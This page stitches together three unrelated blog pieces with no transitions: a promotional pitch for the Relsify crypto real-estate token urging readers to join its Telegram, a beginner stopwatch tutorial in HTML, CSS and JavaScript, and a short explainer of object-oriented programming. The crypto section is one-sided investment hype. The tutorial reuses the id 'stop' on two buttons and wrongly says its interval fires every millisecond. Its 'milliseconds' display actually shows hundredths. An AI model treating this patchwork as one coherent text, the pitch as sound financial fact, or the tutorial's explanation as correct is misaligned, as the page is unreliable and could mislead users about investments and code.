The purpose of Relsify is to act as a global decentralized marketplace where there is a low barrier of entry and the average Joe with as little as $1 can invest or have a stake in a piece of real estate. The developers host their properties and get access to fundings via transactions between them and the investors without the need for middlemen.

On the Relsify platform, the RELS token will act as the utility token or currency for the ecosystem , customers create accounts on the platform and check out verified properties they can choose to invest in, developers create unique security tokens for every property listed, which are given to the investors.

The Relsify ecosystem provides secure processing of these transactions by the power of the blockchain affording several benefits like:

• It creates a safe pool for Developers, Investors, and Crypto Enthusiasts to access capital or properties that were previously inaccessible

• Bring about global participation and foreign investments

• Completely shatter the real estate investment entry barrier

• Solve the issue of document authenticity by a blockchain-backed system of immutability

• Simply ease of property ownership transfers to around 1-5mins

The list of novel benefits this innovation is bringing is quite endless, we are poised to see several more use-cases adopted in the times to come. For more information about Relsify and how they seek to implement this unique solution, you can check out their whitepaper on their website Relsify.

This is a rare oppurtunity to be an early contributor or stakeholder in something so innovative and disruptive, you are welcome to join the growing community here at https://t.me/relsify_official come and be part of the ongoing relsivolution! Thanks for your time.

The project is available on CodePen with the source code

I urge you to also try to tweak the code and add a little stuff here and there, different colors, new features, you could even go ahead and add a countdown feature, that's how we master web development concepts.

HTML

Let's start with the basic HTML structure

<html lang="en">
    <head>
        <title>StopWatch</title>
    </head>
    <body>

        <div id="mainstopwatch">
            <div class="maintime">
            <span id="mainminute">00</span>
        <span id="mainsecond">00</span>
        <span id="milliseconds">00</span>
        </div><br>

    <button id="start" onclick="start();">Start</button>
    <button id="stop" onclick="stop();">Stop</button>
    <button id="stop" onclick="reset();">Reset</button>
        </div>          
    </body>
    </html>

So to the skeleton of the code is quite simple we add three '00' and three buttons. We will be using div and span tags as containers to effectively style the HTML elements.

A div is a block element so it starts on a new line and occupies the full width of the screen, on the other hand, a span tag is an inline element container, in other words, it doesn't start on a new line and can be used to style just a small part of a text.

We also added several attributes to the different elements like the id and class for the styling, the onclick event attribute to be used in javascript, we examine them as we go along.

This how it going to look like now

CSS

So for the body element, we add the font to Arial and set its background to light gray then for the div with the id of mainstopwatch we add the following styles to it to give it shape and beauty. We use the margin and padding properties to properly position it in relation to the screen, the text-align centers the text, the border-radius makes its corners rounded.

Note how the box-shadow style brings out a unique effect by adding light and dark shadows to the Stopwatch outline.

body {
    font-family: arial;
    background: #e0e0e0;
  }
  #mainstopwatch{
    width: 300px;

    margin: 100px auto;
    padding: 60px 50px 100px;
    text-align: center;
    font-size: 40px;
    border-radius: 38px;
    box-shadow: 6px -6px 8px #9d9d9d,
      -6px 6px 8px #ffffff;

  }

The rest of the styling is easy to follow along, the span's display is set to inline-block. The nth-of-type and last-child selectors are used to give varying background colors to the buttons, the buttons are made to have a change in background color on hover.

This is the complete CSS code

body {
    font-family: arial;
    background: #e0e0e0;
  }
  #mainstopwatch{
    width: 300px;

    margin: 100px auto;
    padding: 60px 50px 100px;
    text-align: center;
    font-size: 40px;
    border-radius: 38px;
    box-shadow: 6px -6px 8px #9d9d9d,
      -6px 6px 8px #ffffff;

  }


  #mainstopwatch span {
    width: 55px;
    color:#0776de;
    margin: 3px;
    padding: 10px;
    border-radius: 38px;
    display: inline-block;
   box-shadow: 6px -6px 8px #9d9d9d,
      -6px 6px 8px #ffffff;
  }
  #mainstopwatch button {
    border: none;
    -webkit-appearance: none; 
    font-size: 22px;
    width: 140px;
    height: 55px;
    color: white; 
    background-color: #2e80b3;
    border-radius: 33px;
    transition: .3s;
   box-shadow: 6px -6px 8px #9d9d9d,
      -6px 6px 8px #ffffff;
  }
  #mainstopwatch button:nth-of-type(2) {
    background-color: #ae7617;
  }
  #mainstopwatch button:last-child {
      margin-top: 12px;
    background-color: #17ae38;
  }
  #mainstopwatch button:hover {
    background: #333;
    color: #e0e0e0;
    border-radius: 38px;
  }

And this is how it should look

JavaScript

Now we are at the meat of the work, we have a pretty-looking stopwatch, but the only thing now is that it doesn't work yet. It's from adding the relevant Javascript code that we get it to work properly. Here it is.

var timer = 0;
var timerInterval;
var ms = document.getElementById('milliseconds');
var second = document.getElementById('mainsecond');
var minute = document.getElementById('mainminute');

The variables we'll be using are initialized here, the timer is set to 0 by default and we use the getElementById method to access the three spans we created all using their respective ids

function start(){
  stop();
  timerInterval = setInterval( function(){
     timer += 1/60;
    msVal = Math.floor((timer - Math.floor(timer) )*100); // Gives the milliseconds value
     secondVal = Math.floor(timer) - Math.floor(timer/60) *60; // Gives the Second values
    minuteVal = Math.floor(timer/60); // Gives the Minute value
    ms.textContent = msVal <10 ? "0" + msVal.toString() : msVal;
     second.textContent = secondVal < 10 ? "0" + secondVal.toString() : secondVal;
     minute.textContent = minuteVal < 10 ? "0" + minuteVal.toString() : minuteVal;
  }, 1000/60);

}

Let's examine the above function start(), from the first line the function stop() is called which we'll look at later, the setInterval method timerInterval calls an anonymous function every millisecond this makes the timer variable initially set at 0 add a millisecond each time.

For the getting the milliseconds, seconds, and minutes value the Math.Floor function was heavily used, this function returns the highest integer less than or equal to the given number. For example;

  console.log(Math.floor(5.95));
// expected output: 5

To get the current millisecond value the timer value is subtracted from its floored value, multiplied by 100, and floored again.

The second value, the timer is already in seconds, we use it with a Math.floor expression to make sure it shows the exact second.

The minute value is gotten by dividing the timer by 60.

For the next three lines, the values of the respective spans are changed with the .textContent method using a ternary operator to add an extra '0' to values less than 10

function stop(){
  clearInterval(timerInterval);
}
function reset(){
    stop();
    timer = 0;
    ms.textContent = '00';
    second.textContent = '00';
    minute.textContent = '00';
  }

For the next function stop() which was called in the first line of the previous function it simply makes use of the clearInterval function to stop the SetInterval function.

It is also used in the first line of the reset() function. In the reset() function the values of all the values are set to their default state.

Every button calls a similarly named function based on the onclick event attribute. Here is the full Javascript code below

var timer = 0;
var timerInterval;
var ms = document.getElementById('milliseconds');
var second = document.getElementById('mainsecond');
var minute = document.getElementById('mainminute');
function start(){
  stop();
  timerInterval = setInterval( function(){
     timer += 1/60;
    msVal = Math.floor((timer - Math.floor(timer) )*100); // Gives the milliseconds value
     secondVal = Math.floor(timer) - Math.floor(timer/60) *60; // Gives the Second values
    minuteVal = Math.floor(timer/60); // Gives the Minute value
    ms.textContent = msVal <10 ? "0" + msVal.toString() : msVal;
     second.textContent = secondVal < 10 ? "0" + secondVal.toString() : secondVal;
     minute.textContent = minuteVal < 10 ? "0" + minuteVal.toString() : minuteVal;
  }, 1000/60);

}
function stop(){
  clearInterval(timerInterval);
}
function reset(){
    stop();
    timer = 0;
    ms.textContent = '00';
    second.textContent = '00';
    minute.textContent = '00';
  }

And there we have it a fully working stopwatch.

So like I earlier advised try and own the code, you can build on it or just get inspired to build something else that is really cool. If you have any useful suggestions or ideas let me know in the comment section. Thanks for your time.

So what is Object Oriented Programming?

OOP is a programming language structure that groups certain data(properties) and functions(method) into singular entities called objects, it refers to how objects in real world are modelled based on their attributes and behavior, for example a real world like a car possesses several features like it has a make eg. Toyota. it has a certain color these are its attributes or properties, then it performs certain actions like it moves, it breaks to slow down or stop it movement, these actions or functions are called methods. All this features are grouped together in what is called a class, a class is basically a blueprint of an object, an object is an instance of a class or simply stated a class is to an object what a recipe is to a cake.

There are four major pillars in Object Oriented Programming

• Abstraction

• Encapsulation

• Inheritance

• Polymorphism

Abstraction: Abstraction is the hiding or shielding away of the internal implementation of an object while only showing the essential parts to the user, the information are hidden within the object definitions, they are a lot of things and tools we use that we don't understand their inward workings but we interact with them to produce certain desired results For example, there are a lot of complexities in how the engine works to drive a car but we don't have to bother ourselves with that all we do is interact with it to transport ourselves from one place to another, this concept is important in programming so that in cases where even when the internal configuration of our code changes, it doesn't have to change our outward result.

Encapsulation: Encapsulation is a means of abstraction, in a program, different objects interact with each other, encapsulation is achieved when each object keeps its state private i.e. their properties can't be changed directly except through the object's own public methods. The Car class has a fuel state which can not be tampered with except by going through its methods, like the refuel() method adds more to the fuel state while the move() method reduces it. Encapsulation enforces modularity and keeps programs less prone to errors.

Inheritance: Inheritance just like the name involves how an object can take up all or some of the properties of another object, just in the same fashion a child inherits traits and characteristics from his/her parents, Our Car class is a child of the Vehicle Class, it inherits properties like wheels, and methods like move(), a Motorcycle class also inherits from the Vehicle class, but the wheel property is unique and different from that of the Car class, inheritance helps in code reusability and reduces redundancy.

Polymorphism: Polymorphism comes from a compound greek word meaning many shapes, Polymorphism comes as a result of inheritance, OOP allows for the use of methods in various forms. Putting this simply, it refers to the use of methods in a way that a method works different for different objects using it. Both Bicycle and Car class have the move method in common, but they all implement their move action uniquely, another example we can use is a Mammal Class, this class has a method called mammalSound(). The sub-classes of Mammals could be Dogs, cats, elephants, and horses. Each of these would have their own iteration of a mammal sound (dog-barks, cat-meows).

The OOP paradigm helps in giving proper structure and shape to programs, as one is made to break up requirements into reusable classes that become the blueprints for different objects in the program. Overall, this gives room for better data structures and reusability, producing a more efficient work in the long run.